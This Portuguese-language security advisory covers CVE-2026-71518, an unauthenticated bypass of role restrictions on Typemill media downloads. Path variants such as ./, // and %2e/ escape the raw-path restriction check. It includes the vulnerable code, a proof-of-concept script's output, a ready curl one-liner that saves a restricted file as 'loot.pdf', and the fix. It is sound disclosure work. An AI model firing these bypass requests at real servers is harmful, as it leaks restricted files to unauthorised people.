
Advisory e PoC para um bypass de autorização não autenticado em downloads de mídia do Typemill, usando variantes de URL de caminho equivalente para acessar arquivos restritos por função.
A restrição é baseada no caminho bruto da requisição; o arquivo é lido a partir do caminho resolvido pelo SO — os dois divergem
Visão geral · Resumo · Causa raiz · Cadeia de ataque · Exploit · Remediação · Linha do tempo
O Typemill permite que um administrador restrinja arquivos de mídia individuais a uma função de usuário específica por meio de media/files/filerestrictions.yaml. A rota pública de download deveria respeitar essa restrição — mas ela verifica a restrição contra o caminho bruto da requisição enquanto serve os bytes a partir do caminho resolvido pelo sistema de arquivos. Como o mesmo arquivo possui muitas grafias equivalentes de caminho (./name, //name, %2e/name), um atacante escolhe uma variante que não corresponde à chave de restrição, mas que ainda assim resolve para o mesmo arquivo no disco.
A rota não possui middleware de autenticação; portanto, o resultado é o download totalmente não autenticado de arquivos que foram explicitamente restritos a uma função.
A rota de download é pública — não há middleware de autenticação nela:
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');
Dentro de system/typemill/Controllers/ControllerWebDownload.php, a decisão de controle de acesso e a leitura do arquivo usam duas representações diferentes do mesmo caminho:
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
// ... enforce role restriction (redirect to login if not allowed)
}
// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);
validate() apenas rejeita uma sequência literal .. — ela não normaliza ./ ou // nem rejeita equivalentes com codificação percentual. Assim, a chave de restrição e o arquivo que de fato é lido ficam dessincronizados:
O bug é o padrão clássico "decisão de autorização e acesso ao recurso baseados em strings diferentes e controláveis pelo atacante" (CWE-639/CWE-863). $_SERVER['REQUEST_URI'] permanece bruto também no Apache; portanto, isso não é específico do servidor.
flowchart LR
A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
B --> C{Restriction key<br/>matches raw path?}
C -->|yes| D[302 → login<br/>🔒 blocked]
A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
E --> F{Restriction key<br/>matches raw path?}
F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
G --> H[200 OK<br/>🟢 file leaked]filerestrictions.yaml.exploit/exploit.py reproduz o problema de ponta a ponta contra um contêiner de teste local. Ele (1) faz o "admin" disponibilizar um arquivo privado restrito à função editor, (2) confirma que a URL canônica é bloqueada para um usuário anônimo e, em seguida, (3) baixa o mesmo arquivo por meio de cada variante equivalente de caminho.
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py
Saída esperada:
[CONTROL] GET /media/files/secret.pdf -> http=302 (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files//secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf -> http=200 leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)
Comando de uma linha contra qualquer host vulnerável (somente testes autorizados):
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

realpath() e confirme a contenção dentro do diretório base de mídia antes de ler, e rejeite separadores de caminho com codificação percentual.| Data | Evento |
|---|---|
| 2026-08-04 | Vulnerabilidade descoberta no Typemill 2.25.0; PoC verificado de ponta a ponta no Docker |
| 2026-08-04 | Relatado ao mantenedor / VulnCheck |
Apenas para testes de segurança autorizados e uso educacional. © @IlhomjonR
| ID CVE | CVE-2026-71518 |
| Produto | typemill/typemill — Typemill (CMS PHP flat-file, Slim 4) |
| Versões afetadas | todas as versões < 2.26.0 (verificado na 2.25.0, commit 8f3901c) |
| Corrigido em | 2.26.0 |
| Fraqueza | CWE-863 (Autorização Incorreta) · CWE-639 (Bypass de Autorização por Chave Controlada pelo Usuário) |
| CVSS v3.1 | 7.5 — Alta · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CVSS v4.0 | 8.7 — Alta |
| Vetor | Rede · sem autenticação · sem interação do usuário |
| Impacto | Download não autenticado de arquivos de mídia que um administrador restringiu a uma função privilegiada |
| Pesquisador | Ilhomjon Rustamov (@IlhomjonR) |
| Caminho da requisição | Chave de restrição correspondeu? | Arquivo resolvido no disco | Resultado |
|---|
/media/files/secret.pdf | ✅ sim | secret.pdf | 🔒 bloqueado (302 → login) |
/media/files/./secret.pdf | ❌ não | secret.pdf | 🟢 servido (200) |
/media/files//secret.pdf | ❌ não | secret.pdf | 🟢 servido (200) |
/media/files/%2e/secret.pdf | ❌ não | secret.pdf | 🟢 servido (200) |
| — | Corrigido no Typemill 2.26.0 |
| 2026-08-18 | CVE-2026-71518 público; advisory + PoC divulgados |